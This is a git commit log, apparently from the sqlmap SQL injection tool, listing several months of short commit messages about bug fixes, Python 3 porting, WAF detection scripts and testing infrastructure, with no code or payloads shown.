Miroslav Stampar 6bbfec91b4 Minor update 2019-05-24 23:51:58 +02:00
Miroslav Stampar 1e6f84937c Patch for #3697 2019-05-24 23:42:28 +02:00
Miroslav Stampar 791873e77c Fixes #3702 2019-05-24 22:49:33 +02:00
Miroslav Stampar e869728972 Fixes #3698 2019-05-24 15:01:43 +02:00
Miroslav Stampar 2e193fe1ef Minor patch (Python 3.3) 2019-05-24 14:21:53 +02:00
Miroslav Stampar 130bcd4b9b Minor update 2019-05-24 14:18:18 +02:00
Miroslav Stampar ad01aa7449 Further integration of identYwaf 2019-05-24 13:54:10 +02:00
Miroslav Stampar 0c79504ff1 Switching from WAF scripts to identYwaf (avoiding redundant work from my side) 2019-05-24 13:09:28 +02:00
Miroslav Stampar ef7d4bb404 Some refactoring (data) 2019-05-24 12:01:39 +02:00
Miroslav Stampar 82efb0ca79 Minor patch 2019-05-24 11:07:18 +02:00
Miroslav Stampar ac3f2fd00f Update THIRD-PARTY.md 2019-05-24 11:05:10 +02:00
Miroslav Stampar 3b7dd2c357 Fixes #3692 2019-05-22 09:43:10 +02:00
Miroslav Stampar 4e84b741ef Fixes #3693 2019-05-22 09:30:27 +02:00
Miroslav Stampar d3225136e2 Minor patch (different drive letter) 2019-05-21 14:39:30 +02:00
Miroslav Stampar 2546022b11 Minor update 2019-05-21 14:37:55 +02:00
Miroslav Stampar 688150cf6c Patch related to the #3453 2019-05-21 14:18:14 +02:00
Miroslav Stampar ea4052ec65 Implements #3689 2019-05-21 13:11:51 +02:00
Miroslav Stampar 36f2bb5390 Minor beautification (e.g. HTTP header cases like Host parameter 'Host') 2019-05-21 12:07:19 +02:00
Miroslav Stampar 23d0a04f32 Trivial update (space check for --suffix) 2019-05-21 11:01:08 +02:00
Miroslav Stampar 1f9b248ac4 Minor update 2019-05-20 19:55:57 +02:00
Miroslav Stampar 23a7aea2db Fixes #3687 2019-05-20 19:41:12 +02:00
Miroslav Stampar dd450b53f4 Less requests in case of non-injectable parameters 2019-05-20 15:13:52 +02:00
Miroslav Stampar 0302a781b4 Trivial patch 2019-05-20 13:55:57 +02:00
Miroslav Stampar c8c6a67cda Minor improvement (partial payload reflection like in syntax errors) 2019-05-20 13:35:26 +02:00
Miroslav Stampar e1ab969fce Minor revisiting of MySQL time-based payloads 2019-05-20 12:41:41 +02:00
Miroslav Stampar 79d0c83f8f Bug fix for Python3 (drei lack of color output) 2019-05-20 12:09:14 +02:00
Miroslav Stampar ddf67bb876 Fixing some Windows quote problems 2019-05-20 11:56:16 +02:00
Miroslav Stampar 98cf790eab Minor patch (drei) 2019-05-20 11:48:45 +02:00
Miroslav Stampar b9151ca5c5 Trivial case update 2019-05-20 11:24:43 +02:00
Miroslav Stampar 4cc13d3c1e Fixes #3680 2019-05-20 11:21:31 +02:00
Miroslav Stampar 03224401ab Minor update related to the #3684 2019-05-19 23:58:44 +02:00
Luis Jäger 70c02a96bb translated README.md to german (#3684)
* translated README.md to german

* This part is only at main README.md
2019-05-19 23:56:38 +02:00
Miroslav Stampar c14c471490 Fixes #3681 2019-05-19 07:52:38 +02:00
Miroslav Stampar b35c8e557d Minor refactoring 2019-05-19 07:45:26 +02:00
Miroslav Stampar 9fd5fe732c Fixes #3677 2019-05-19 07:44:32 +02:00
Miroslav Stampar c83ccfc5a9 Just in case update 2019-05-17 11:12:52 +02:00
Miroslav Stampar 3b0323ab68 Minor patch 2019-05-17 11:10:34 +02:00
Miroslav Stampar 519538a1d3 Implements #3549 2019-05-17 11:00:51 +02:00
Miroslav Stampar aa5645c71a Fixes #3674 2019-05-17 00:34:34 +02:00
Miroslav Stampar d815e6c278 Bug fix for Python 3.3 (drei) 2019-05-16 12:46:10 +02:00
Miroslav Stampar 0eee52ae25 Fixes Python 3.3 Travis broken build 2019-05-16 12:41:26 +02:00
Miroslav Stampar e90846b8c1 Fixes #3670 2019-05-16 12:35:45 +02:00
Miroslav Stampar 0a67f0f57c Patch for #3671 2019-05-16 12:15:51 +02:00
Miroslav Stampar 094cfee30d Couple of minor patches 2019-05-16 01:41:26 +02:00
Miroslav Stampar 5bc9e2a631 Trivial update 2019-05-16 01:22:09 +02:00
Miroslav Stampar 61f32192b0 Fixes #3667 2019-05-16 01:11:18 +02:00
Miroslav Stampar fe442831f9 Update issue templates 2019-05-15 15:41:42 +02:00
Miroslav Stampar ae7f4e173b Update bug_report.md 2019-05-15 15:22:03 +02:00
Miroslav Stampar bbb92ca06d Update bug_report.md 2019-05-15 15:18:03 +02:00
Miroslav Stampar 7da5baf94d Update bug_report.md 2019-05-15 15:14:40 +02:00
Miroslav Stampar 9bd1b16b52 Update bug_report.md 2019-05-15 15:13:42 +02:00
Miroslav Stampar 4c68c269e3 Delete ISSUE_TEMPLATE.md 2019-05-15 15:07:03 +02:00
Miroslav Stampar a7a383e902 Update issue templates 2019-05-15 15:06:16 +02:00
Miroslav Stampar a4e9d3e661 Some more drei updates 2019-05-15 10:57:22 +02:00
Miroslav Stampar cc9711ef5b Couple of drei updates 2019-05-15 10:30:47 +02:00
Miroslav Stampar c3f15ef309 Minor patches (drei) 2019-05-15 00:12:00 +02:00
Miroslav Stampar b3cbb4d921 Fixes #3664 2019-05-15 00:03:17 +02:00
Miroslav Stampar c03d6d71f8 Fixes #3654 2019-05-14 16:08:12 +02:00
Miroslav Stampar aaa83a31d4 Fixes #3656 2019-05-14 13:58:42 +02:00
Miroslav Stampar 36cb4faf4d Minor patch 2019-05-14 13:36:12 +02:00
Miroslav Stampar 82f0f06b4b Fixes #3646 2019-05-13 14:17:32 +02:00
Miroslav Stampar 2d4ceaf527 Fixes #3651 2019-05-13 12:26:13 +02:00
Miroslav Stampar 6cc07ff0e1 Closes #3647 2019-05-13 12:21:17 +02:00
Miroslav Stampar 56b1f0e00b Fixes #3648 2019-05-13 12:09:00 +02:00
Miroslav Stampar 15ef0f872f Minor refactoring 2019-05-13 11:51:47 +02:00
Miroslav Stampar 10be8a12bd Fixes #3652 2019-05-13 11:08:25 +02:00
Miroslav Stampar c4f09a8e8a Bug fix (Github searching for duplicates) 2019-05-12 04:06:58 +02:00
Miroslav Stampar 1ae2b14b39 Update of CHANGELOG 2019-05-10 10:21:42 +02:00
Miroslav Stampar 32076c5ca6 Rewriting isHeavyQueryBased() 2019-05-10 10:00:54 +02:00
Miroslav Stampar 2efcded23b Fixes #3644 2019-05-10 09:30:21 +02:00
Miroslav Stampar 31f88a8005 Trying something out 2019-05-09 17:39:16 +02:00
Miroslav Stampar 4b7f27263b Adding more info if --vuln fails 2019-05-09 16:38:44 +02:00
Miroslav Stampar 3f91f025db Trivial updates 2019-05-09 16:22:18 +02:00
Miroslav Stampar 769d0eb9bd Trivial polishing 2019-05-09 15:49:39 +02:00
Miroslav Stampar 57dbbefd92 Minor style updates 2019-05-09 15:47:23 +02:00
Miroslav Stampar 6bcf9987a6 Minor patch 2019-05-09 15:39:10 +02:00
Miroslav Stampar 2f325e9bc5 Pushing Travis CI even more 2019-05-09 14:15:07 +02:00
Miroslav Stampar a286734c57 Couple of patches for Travis 2019-05-09 14:10:18 +02:00
Miroslav Stampar 7ddb8f7cbe Another Travis patch 2019-05-09 13:48:44 +02:00
Miroslav Stampar 6010db56ee Minor Travis patch 2019-05-09 13:36:50 +02:00
Miroslav Stampar 3915b45665 Trying something out 2019-05-09 13:21:06 +02:00
Miroslav Stampar 3bf89fed6e Fixes #3567 2019-05-09 13:14:42 +02:00
Miroslav Stampar 9c917ec920 Patch for #3638 2019-05-09 10:52:33 +02:00
Miroslav Stampar b1efef45a9 Minor patch (maskSensitiveData) 2019-05-09 10:30:17 +02:00
Miroslav Stampar 121188f829 Fixes #3639 2019-05-09 10:17:50 +02:00
Miroslav Stampar 3d89668495 Fixes #3640 2019-05-09 10:16:10 +02:00
Miroslav Stampar 5767333c6b Fixes #3641 2019-05-09 10:12:27 +02:00
Miroslav Stampar 7a179889a3 Fixes #3637 2019-05-08 17:21:40 +02:00
Miroslav Stampar 5ae78b1d85 Fixes #3636 2019-05-08 17:11:58 +02:00
Miroslav Stampar d1f50a37d4 Fixes #3634 2019-05-08 16:51:28 +02:00
Miroslav Stampar 2693da6a71 Fixes #3635 2019-05-08 16:43:57 +02:00
Miroslav Stampar 0bbd7fdcad Minor update (drei DeprecationWarnings) 2019-05-08 14:53:08 +02:00
Miroslav Stampar 1a089ccec7 Minor patch (3.7 not available on Travis 14.04) 2019-05-08 13:41:19 +02:00
Miroslav Stampar 93ecb5d8c5 Last commits for drei 2019-05-08 13:38:07 +02:00
Miroslav Stampar de95ff08a4 Patching --har (drei) 2019-05-08 13:15:42 +02:00
Miroslav Stampar 9c247b3833 Last preparations for DREI 2019-05-08 12:47:52 +02:00
Miroslav Stampar 09aba3b5ce More DREI updates 2019-05-08 12:28:50 +02:00
Miroslav Stampar 1241a025a2 Patch for sqlmapapi (NotImplementedError) 2019-05-08 02:40:36 +02:00
Miroslav Stampar d5fb3a0d8b Minor update 2019-05-08 02:32:49 +02:00
Miroslav Stampar fa2572f58a Minor patch (drei) 2019-05-08 02:18:48 +02:00
Miroslav Stampar 47537aa27b Trivial concision update 2019-05-08 02:02:39 +02:00
Miroslav Stampar ba6cac75ac Socket pre-connect compatibility patch for DREI 2019-05-08 01:58:59 +02:00
Miroslav Stampar 6faf9872bc Patch for --keep-alive (drei) 2019-05-07 23:59:11 +02:00
Miroslav Stampar bc88903699 Patch for --null-connection (drei) 2019-05-07 23:10:02 +02:00
Miroslav Stampar 285482b396 Couple of drei patches 2019-05-07 23:00:15 +02:00
Miroslav Stampar 4d028c7230 Proper (safe) showing of safe encoded data 2019-05-07 16:43:01 +02:00
Miroslav Stampar 2b57b4b54b Couple of DREI patches 2019-05-07 16:37:32 +02:00
Miroslav Stampar 2e75662a6d Revert of previous commit 2019-05-07 16:09:28 +02:00
Miroslav Stampar f08163f8a2 Minor DREI patch 2019-05-07 16:07:29 +02:00
Miroslav Stampar edba6a2a28 Minor beauty patch 2019-05-07 15:59:26 +02:00
Miroslav Stampar 74c7cf95f2 Patch for DREI has_header() (causing double Host: header) 2019-05-07 15:49:03 +02:00
Miroslav Stampar fd97942760 Minor update 2019-05-07 15:31:47 +02:00
Miroslav Stampar 9240e05096 Patch for -g (DREI) 2019-05-07 11:18:38 +02:00
Miroslav Stampar 86ce1c5a5a Minor DREI patches 2019-05-07 11:00:50 +02:00
Miroslav Stampar 85365d73ff Fixes #3633 2019-05-07 10:48:42 +02:00
Miroslav Stampar 321cddebe0 DREI patch for --forms 2019-05-06 16:38:18 +02:00
Miroslav Stampar c5a2567033 Minor DREI patch (leaky multiprocessing) 2019-05-06 15:39:11 +02:00
Miroslav Stampar f8f57e1030 Minor patches 2019-05-06 14:41:35 +02:00
Miroslav Stampar a7931751ee Fixes #3630 2019-05-06 12:19:27 +02:00
Miroslav Stampar 422b1a6f95 Minor patches and updates 2019-05-06 11:41:19 +02:00
Miroslav Stampar eec048daf8 Minor patch 2019-05-06 01:46:41 +02:00
Miroslav Stampar fdd1e49c75 Dealing with Github issue creation (default UA blacklisted) 2019-05-06 01:40:58 +02:00
Miroslav Stampar 0c005c4c20 Minor patch 2019-05-06 01:23:25 +02:00
Miroslav Stampar f2cb4627f2 Minor patch 2019-05-06 01:08:42 +02:00
Miroslav Stampar 33b42a17d7 Fixes #3622 2019-05-06 00:54:21 +02:00
Miroslav Stampar 9bb4930413 Removing leftover (fixes #3620) 2019-05-05 23:40:15 +02:00
Miroslav Stampar bd80924df9 Another update for #3619 2019-05-05 23:37:48 +02:00
Miroslav Stampar 5a20f6143b Fixes #3619 2019-05-05 23:30:44 +02:00
Miroslav Stampar e2db0d20ea Minor update 2019-05-03 16:36:21 +02:00
Miroslav Stampar f344a01bd9 DREI final patch for --os-pwn 2019-05-03 16:22:48 +02:00
Miroslav Stampar 81fba74e6a Minor patch 2019-05-03 16:03:08 +02:00
Miroslav Stampar cb5dc41277 Bug fix for metasploit (EINTR should be ignored) 2019-05-03 15:59:10 +02:00
Miroslav Stampar 585ebca401 Couple of DREI updates 2019-05-03 15:33:32 +02:00
Miroslav Stampar 74148e121a Minor patch 2019-05-03 13:48:41 +02:00
Miroslav Stampar e90e800dde Minor update 2019-05-03 13:38:51 +02:00
Miroslav Stampar ece0ae6f86 Minor update 2019-05-03 13:38:09 +02:00
Miroslav Stampar f6f6844a0d Stabilizing DREI 2019-05-03 13:20:15 +02:00
Miroslav Stampar d8c62e0beb Minor update 2019-05-03 01:20:10 +02:00
Miroslav Stampar 0f4d1e79b7 Minor update 2019-05-03 00:48:46 +02:00
Miroslav Stampar a33ee69337 Minor patch 2019-05-03 00:13:05 +02:00
Miroslav Stampar 1f05e85408 Some more drei updates 2019-05-02 23:51:54 +02:00
Miroslav Stampar 291b491c3e Minor drei update 2019-05-02 17:35:56 +02:00
Miroslav Stampar ff968c2331 More drei stuff 2019-05-02 16:54:54 +02:00
Miroslav Stampar 2791ea51ea Minor drei update 2019-05-02 12:39:16 +02:00
Miroslav Stampar 7d9cd0c079 Stabilizing first drei compatible prototype 2019-05-02 11:26:31 +02:00
Miroslav Stampar 6dbf24531c More drei stuff 2019-05-02 10:22:44 +02:00
Miroslav Stampar d465007dfe More drei updates 2019-05-02 00:45:44 +02:00
Miroslav Stampar 26c8423806 Fixes #3613 2019-04-30 14:23:28 +02:00
Miroslav Stampar 26cb07cc26 Bug fix (introduced in last hour or so) 2019-04-30 14:13:35 +02:00
Miroslav Stampar 48c55d15ea Minor update 2019-04-30 14:04:39 +02:00
Miroslav Stampar 1e03b23ccb Update (drei) 2019-04-30 13:20:31 +02:00
Miroslav Stampar 70168855f9 Update of drei testing functionality 2019-04-30 11:41:03 +02:00
Miroslav Stampar 7567ed2f71 Proper Python naming 2019-04-30 11:28:16 +02:00
Miroslav Stampar 33c110ac39 Minor drei stuff 2019-04-30 11:21:44 +02:00
Miroslav Stampar 43eedb63a8 Trivial update (unification of badges) 2019-04-30 10:31:03 +02:00
Miroslav Stampar 4eb5bbd75d Minor improvement of --parse-errors on generic SQL error messages 2019-04-30 01:33:37 +02:00
Miroslav Stampar 07e6a0a079 Adding support for multi-threading in (testing) vulnserver 2019-04-30 01:08:24 +02:00
Miroslav Stampar 4e938ea4fd Minor (testing) patch 2019-04-29 16:58:53 +02:00
Miroslav Stampar fcb31b85b6 Trivial (testing) update 2019-04-29 14:41:12 +02:00
Miroslav Stampar e0940438b3 Minor update 2019-04-29 14:19:56 +02:00
Miroslav Stampar 01e915e199 Minor (testing) update 2019-04-29 11:58:52 +02:00
Miroslav Stampar ba7ab21596 Minor update for vuln testing 2019-04-29 11:32:01 +02:00
Miroslav Stampar bbf7472b42 Adding aux (dev) script 2019-04-29 11:13:47 +02:00
Miroslav Stampar ff61417fc0 Trivial style update 2019-04-29 11:01:40 +02:00
gweeperx 14bf1e4ce7 Add INFERENCE_EQUALS_CHAR during the check for false positives (#3609)
* Update checks.py

* Update checks.py
2019-04-29 10:58:12 +02:00
Miroslav Stampar c4e3ce1dac Fixes #3598 2019-04-23 00:55:14 +02:00
Miroslav Stampar 9a0a803025 Adding new WAF script (based on identYwaf update) 2019-04-23 00:31:20 +02:00
Miroslav Stampar 9b46540e00 Adding exit code (1) in case of sqlmap fail 2019-04-19 14:36:23 +02:00
Miroslav Stampar e7469ab570 Trivial code style updates 2019-04-19 13:54:48 +02:00
Miroslav Stampar 10fe87fb4e Implementing additional self-test stuff (--vuln-test) 2019-04-19 13:28:11 +02:00
Miroslav Stampar bb7bd51d94 Some more DREI stuff 2019-04-19 11:24:34 +02:00
Miroslav Stampar da15701a55 Minor DREI updates 2019-04-18 16:06:19 +02:00
Miroslav Stampar 6b063e708e 50 bytes smaller PHP shell 2019-04-18 15:13:49 +02:00
Miroslav Stampar ba96261a28 Trivial update 2019-04-18 14:48:50 +02:00
Miroslav Stampar 552077f379 Minor patch 2019-04-18 12:05:59 +02:00
Miroslav Stampar 0f697418d9 Update regarding #545 2019-04-18 11:52:33 +02:00
Miroslav Stampar bc5b643700 One more improvement for #3587 2019-04-18 11:18:00 +02:00
Miroslav Stampar 282d4b2bea Minor cleanup 2019-04-18 11:09:17 +02:00
Miroslav Stampar 9289939ced Update for #3587 (multiple request files per option -r) 2019-04-18 11:07:58 +02:00
Miroslav Stampar 6831031cf7 Bug fix for displaying traffic output in higher verbosity levels 2019-04-18 10:55:58 +02:00
Miroslav Stampar 6dc37628a0 Minor patch for TRAFFIC messages 2019-04-18 10:42:11 +02:00
Miroslav Stampar 7c7ecc75ec Better implementation for #3592 2019-04-18 10:36:41 +02:00
Miroslav Stampar 77cb85f2b8 Update regarding #3592 2019-04-18 10:24:38 +02:00
Miroslav Stampar 9459d5ea15 Minor update 2019-04-17 17:35:44 +02:00
Miroslav Stampar 1eeb6c1f5b Related to the #3588 2019-04-17 17:20:04 +02:00
Miroslav Stampar bdf6452af6 'Safe' unicode decoding replacements 2019-04-17 17:19:22 +02:00
Miroslav Stampar 3127d5bf54 Initial support for #25 (and #1387) 2019-04-17 14:22:36 +02:00
Miroslav Stampar 9043d9dd05 Minor patching of logics in WAF scripts 2019-04-16 13:37:02 +02:00
Miroslav Stampar faf154d2b3 Update regarding #3553 2019-04-15 15:15:12 +02:00
Miroslav Stampar 9958d77572 Patch for #3583 2019-04-15 14:56:34 +02:00
Miroslav Stampar dcb8025f30 Fixes #3581 2019-04-15 13:15:21 +02:00
Miroslav Stampar 4b0edeb199 Minor name update (#3579) 2019-04-12 15:58:51 +02:00
Miroslav Stampar ef42495318 Patch regarding #3579 2019-04-12 15:54:08 +02:00
Miroslav Stampar 4d93712c4d As a matter of gratitude for #3579 2019-04-12 15:40:15 +02:00
Miroslav Stampar 1ed59267df Adding new WAF script (Issue #3579) 2019-04-12 15:35:13 +02:00
Miroslav Stampar 3cb48ffdc3 Minor adjustments for issue (hash) creation 2019-04-12 11:16:56 +02:00
tanaydin sirin 40393b29a0 Added some Turkish words for common columns. (#3573) 2019-04-12 10:23:53 +02:00
tanaydin sirin 1f0fb7ab48 Added some Turkish words for common tables. (#3575) 2019-04-12 10:22:21 +02:00
Miroslav Stampar 05f92d5d45 Fixes #3552 2019-04-08 23:49:55 +02:00
Miroslav Stampar 89c6cc725b Probably fixes #3570 2019-04-08 22:56:31 +02:00
Miroslav Stampar 3275d9c709 Minor patch (in case of continuous DROP) 2019-04-06 11:14:56 +02:00
Miroslav Stampar f445fbe75b Fixes #3566 2019-04-05 09:38:56 +02:00
Miroslav Stampar 6b5db1f959 Fixes #3560 2019-04-01 09:47:36 +02:00
Miroslav Stampar d3959e926e Trivial update 2019-03-29 16:23:39 +01:00
Miroslav Stampar 23ff1cadab Adding SQLi vulnserver (for testing purposes) 2019-03-29 11:04:58 +01:00
Miroslav Stampar dbd93e2670 Minor refactoring (drei stuff) 2019-03-29 02:28:16 +01:00
Miroslav Stampar 89d13aaee4 Minor update 2019-03-29 01:25:34 +01:00
Miroslav Stampar 09be7cb361 Patch for Python 2.6 2019-03-28 22:54:05 +01:00
Miroslav Stampar f8eed1f365 Minor update 2019-03-28 22:45:44 +01:00
Miroslav Stampar f82f1f912d Bug fix 2019-03-28 16:32:46 +01:00
Miroslav Stampar 015984a7f2 Minor patch (drei) 2019-03-28 16:06:34 +01:00
Miroslav Stampar 9b72545d09 Some more DREI stuff 2019-03-28 16:04:38 +01:00
Miroslav Stampar 4b020c4257 Some more drei stuff 2019-03-28 15:14:16 +01:00
Miroslav Stampar 49586ad6dd Fixes #3557 2019-03-28 14:13:52 +01:00
Miroslav Stampar 83d79692ac Couple of patches 2019-03-28 14:12:11 +01:00
Miroslav Stampar afe497a954 Dealing with basesting (one baby step closer to Py3 salvation) 2019-03-28 13:53:54 +01:00
Miroslav Stampar 915bc1fc99 Fixes #3556 2019-03-28 11:22:38 +01:00
Miroslav Stampar e56c422a8c Python3 is a game-changer and I won't loose my mind 2019-03-27 17:56:37 +01:00
Miroslav Stampar 41c3139c01 Trivial update 2019-03-27 17:39:21 +01:00
Miroslav Stampar b036fcc876 Junk removal (in preparing for py3) 2019-03-27 17:37:57 +01:00
Miroslav Stampar 7356293007 Minor update 2019-03-27 17:19:16 +01:00
Miroslav Stampar c27820dc0e Some more updates 2019-03-27 16:36:32 +01:00
Miroslav Stampar fbd42228f8 Foo and fo 2019-03-27 15:48:51 +01:00
Miroslav Stampar b278ee83c5 Minor update of aux script 2019-03-27 15:32:49 +01:00
Miroslav Stampar ffad7ed5fc Fixes #3555 2019-03-27 15:17:11 +01:00
Miroslav Stampar 557da5dee4 Bug fix (SOCKS4 patch) 2019-03-27 15:16:23 +01:00
Miroslav Stampar 2f53014685 God help us all with this Python3 non-sense 2019-03-27 13:33:46 +01:00
Miroslav Stampar 2dbd0267a1 Minor update 2019-03-27 03:05:53 +01:00
Miroslav Stampar b5c82c4685 Another 'six' update 2019-03-27 02:55:44 +01:00
Miroslav Stampar df5a5c6fe8 First official usage of 'six' 2019-03-27 02:46:59 +01:00
Miroslav Stampar 95a28f2701 Adding new 3rd party library 2019-03-27 02:08:43 +01:00
Miroslav Stampar dc20c4f058 Minor refactoring 2019-03-27 01:28:34 +01:00
Miroslav Stampar a21cbcb665 Some minor stuff for Py3 2019-03-27 00:58:12 +01:00
Miroslav Stampar 8d89389c36 StringIO is bad m'kay (python3 this and that) 2019-03-26 14:37:01 +01:00
Miroslav Stampar 4b75ca15e8 Fixes #3551 2019-03-26 12:57:11 +01:00
Miroslav Stampar 5037e43c99 Fixes #3550 2019-03-26 12:52:19 +01:00
Miroslav Stampar e64cc86fc4 Patch related to the #3524 2019-03-25 11:42:16 +01:00
Miroslav Stampar 9387a005e3 Fixes #3548 2019-03-25 11:17:25 +01:00
Miroslav Stampar 9dcd18e41c Fixes #3546 2019-03-25 11:12:18 +01:00
Miroslav Stampar 2d129f3e58 Finalizing #3545 2019-03-22 13:49:52 +01:00
Miroslav Stampar 5ced273b8a Minor cleanup 2019-03-21 16:40:20 +01:00
Miroslav Stampar 7d807bfdee Minor update for #3540 2019-03-21 16:35:48 +01:00
Miroslav Stampar 5a71210c8a Update regarding #2940 (PEP 394) 2019-03-21 14:00:09 +01:00
Miroslav Stampar ef5cb9a460 In preparation for #3545 2019-03-21 13:57:17 +01:00
Miroslav Stampar 14186d3150 Dumping checksum.md5 (The king is dead, long live the king) 2019-03-20 13:26:53 +01:00
Miroslav Stampar 8de2700edc Fixes #3543 2019-03-20 12:01:24 +01:00
Miroslav Stampar bf3edcfc1c Fixes #3542 2019-03-20 11:33:10 +01:00
Miroslav Stampar aa1020a3d1 Minor update 2019-03-19 15:23:11 +01:00
Miroslav Stampar e4d4861232 Minor update 2019-03-19 15:11:38 +01:00
Miroslav Stampar 46ee69023e Minor updates (#3536) 2019-03-19 14:48:12 +01:00
Miroslav Stampar 12602b8a51 doctest compatibility patch (#3536) 2019-03-19 14:23:28 +01:00
Miroslav Stampar 87237c82d3 Revamp of #3536 2019-03-19 14:07:39 +01:00
boyhack 340e250fb1 Support for chunked requests (#3536)
*  Add the `--chunk` option to send requests in chunks

* solve the httplib&urllib2 content-legnth

* remove info

* Solve the error caused by the mix of get mode and chunk

* add CHUNKED_KEYWORDS `union`
2019-03-19 13:26:29 +01:00
Miroslav Stampar 3b3774abaa Fixes #3538 2019-03-18 00:46:56 +01:00
Miroslav Stampar e7ffc8f9b1 Adding support for STDIN pipe (e.g. '... -r - ...') 2019-03-15 15:36:13 +01:00
Miroslav Stampar bf83a4d1f8 Fixes #3532 2019-03-15 11:14:06 +01:00
Miroslav Stampar 8ed5e88be6 Minor adjustments 2019-03-13 17:20:14 +01:00
Miroslav Stampar da1982c4af Das heuristiche abomination 2019-03-13 17:14:37 +01:00
Miroslav Stampar 196ac25284 Fixes #3534 2019-03-13 16:49:41 +01:00
Miroslav Stampar aecaa27839 Minor refactoring 2019-03-13 16:40:22 +01:00
Miroslav Stampar eb62397c92 Minor update of Oracle fingerprinting 2019-03-12 14:12:23 +01:00
Miroslav Stampar 136342231e Minor update of fingerprints 2019-03-12 14:10:34 +01:00
Miroslav Stampar 77e1383855 Minor patch 2019-03-12 12:26:38 +01:00
Miroslav Stampar 384f0b69ec Going to try updates to pypi push procedure 2019-03-12 12:24:11 +01:00
Miroslav Stampar 49c1816f02 Trivial update 2019-03-12 11:45:48 +01:00
Miroslav Stampar 9da489a7de Minor naming update 2019-03-12 11:05:27 +01:00
Miroslav Stampar 662a3c3d6f Minor update 2019-03-11 15:25:16 +01:00
Miroslav Stampar c7bb44b0a2 Switching from old odict (non-concise ordering compared to collections) to ordereddict 2019-03-11 14:36:01 +01:00
Miroslav Stampar f4338952ac Minor update of #3527 2019-03-11 11:38:16 +01:00
tothi a3fe4be6c5 add new tamper script substring2leftright.py (#3527) 2019-03-11 11:17:29 +01:00
Miroslav Stampar 729247fd95 Fixes #3525 2019-03-10 14:49:22 +01:00
Miroslav Stampar 2647ac9abb Bug fix (less queries to make - patching the patch 3544793) 2019-03-08 15:49:56 +01:00
Miroslav Stampar 9b9902bc6a Fixes #3522 2019-03-07 14:58:55 +01:00
Miroslav Stampar 6666188857 To prevent ugly unhandled cases like #3523 2019-03-07 14:55:25 +01:00
Miroslav Stampar 09e8c26f8a Fixes #3519 2019-03-06 17:35:19 +01:00
Miroslav Stampar 91348b28b4 Patch for #3519 2019-03-06 16:39:09 +01:00
Miroslav Stampar 663c15a1bf Minor patch related to the #3518 2019-03-06 12:31:06 +01:00
Miroslav Stampar 8189a10a5c Fixes #3517 2019-03-06 11:20:57 +01:00
Miroslav Stampar f81e427353 Minor patch of links 2019-03-05 15:34:09 +01:00
Miroslav Stampar 3f6b53f5f3 Fixes #3515 (and reimplements #1062) 2019-03-05 12:24:41 +01:00
Miroslav Stampar 59d97968a7 Fixes #3514 2019-03-04 16:36:19 +01:00
Miroslav Stampar b1ef5d520c Minor update 2019-03-04 15:58:24 +01:00
Miroslav Stampar 8cd257c893 Implementation for #3505 2019-03-04 15:24:12 +01:00
Miroslav Stampar 10977ca530 Fixes #3510 2019-03-04 13:21:57 +01:00
Miroslav Stampar cdd4007f11 Fixes #3502 2019-03-02 01:28:58 +01:00
Miroslav Stampar c89c1e7abf Fallback for --randomize in case of empty value 2019-02-28 02:29:13 +01:00
Miroslav Stampar 9ba4da8820 Implements #3500 2019-02-28 02:23:14 +01:00
Miroslav Stampar 58acc4a0bc Fixes #3503 2019-02-28 01:05:23 +01:00
Miroslav Stampar 034bac2a11 Fixes #3498 2019-02-26 01:36:56 +01:00
Miroslav Stampar 581e4103c0 Minor patch 2019-02-25 17:19:42 +01:00
Miroslav Stampar eb862d03eb Fixes #3496 2019-02-25 17:18:38 +01:00
Miroslav Stampar 1248fe5eee Bug fix (CFM tends to HTML encode non-alphanumeric chars in error reports - paths weren't recognized) 2019-02-21 02:50:11 +01:00
Miroslav Stampar daeb281e91 Minor update 2019-02-21 02:05:00 +01:00
Miroslav Stampar 514ab3cc30 Trivial update 2019-02-21 01:37:58 +01:00
Miroslav Stampar dc95558187 Fixes #373 2019-02-21 01:10:43 +01:00
Miroslav Stampar af890d639d Implementing switch --repair (Issue #2888) 2019-02-19 00:21:37 +01:00
Miroslav Stampar 8fe37f3564 Update for #3486 2019-02-15 17:08:55 +01:00
Miroslav Stampar 9789d65c19 Fixes #3487 2019-02-15 16:54:43 +01:00
Miroslav Stampar dfe6fe6060 Fixes #3489 2019-02-12 10:49:47 +01:00
Miroslav Stampar ba883b77df Better exception messages (including types) 2019-02-12 10:42:32 +01:00
Miroslav Stampar 27265f56ba Update for #3488 (found samples with Server: wts) 2019-02-11 15:58:25 +01:00
Miroslav Stampar ced9657d95 Patch for #3488 2019-02-11 10:53:04 +01:00
Infected Drake 47edf134a2 Create new detection script for WTS Firewall. (#3488) 2019-02-11 10:51:27 +01:00
Miroslav Stampar 8d46f67898 Fixes #3483 2019-02-09 23:27:55 +01:00
Miroslav Stampar 4d87b0ff67 Fixes #3467 and #3463 2019-02-09 23:18:08 +01:00
Miroslav Stampar 6f750f9529 Patch for --os-pwn on newer versions of Metasploit 2019-02-09 16:15:09 +01:00
Miroslav Stampar 9562502744 Potential patch for #3470 2019-02-09 15:49:52 +01:00
Miroslav Stampar b42c081c0e Fixes #3475 2019-02-09 15:11:06 +01:00
Miroslav Stampar 441a40e6e1 Couple of patches for #3479 2019-02-09 14:49:20 +01:00
Dhiraj Mishra 489390c3f8 ibm_webseal.py (#3479) 2019-02-09 14:44:04 +01:00
Miroslav Stampar 5b382adc15 Trivial PEP update 2019-02-07 17:34:51 +01:00
Miroslav Stampar ab32ad4f48 Fixes #3471 2019-02-07 17:33:16 +01:00
Miroslav Stampar 0a42d91934 Patch related to the last commit 2019-02-07 16:49:58 +01:00
Miroslav Stampar 5eb9f5729c Couple of patches related to the #3473 2019-02-07 16:45:16 +01:00
Miroslav Stampar 5b0d25ff25 Fixes #3469 2019-02-06 07:35:05 +01:00
Miroslav Stampar 4b00924826 Couple of updates regarding readline capabilities 2019-02-05 16:58:18 +01:00
Miroslav Stampar f9ee0f4c0a Trivial update 2019-02-05 14:02:52 +01:00
Miroslav Stampar 5077844dd9 Fixes #3468 2019-02-05 13:42:44 +01:00
Miroslav Stampar 6fe827f0a4 Fixes #3465 2019-02-04 16:05:16 +01:00
Miroslav Stampar 683b587fa5 Minor update 2019-02-04 15:54:57 +01:00
Miroslav Stampar bd74a201d5 Update regarding #3466 2019-02-04 15:49:13 +01:00
Miroslav Stampar 82aa481e06 Patch for IPv6 addresses (proper Host header) 2019-01-30 01:30:30 +01:00
Miroslav Stampar 1f375e418a Fixing unhandled exception message and removing sticky level logic 2019-01-30 00:45:38 +01:00
Miroslav Stampar ed26dc0235 Important patch for #3459 2019-01-29 23:44:58 +01:00
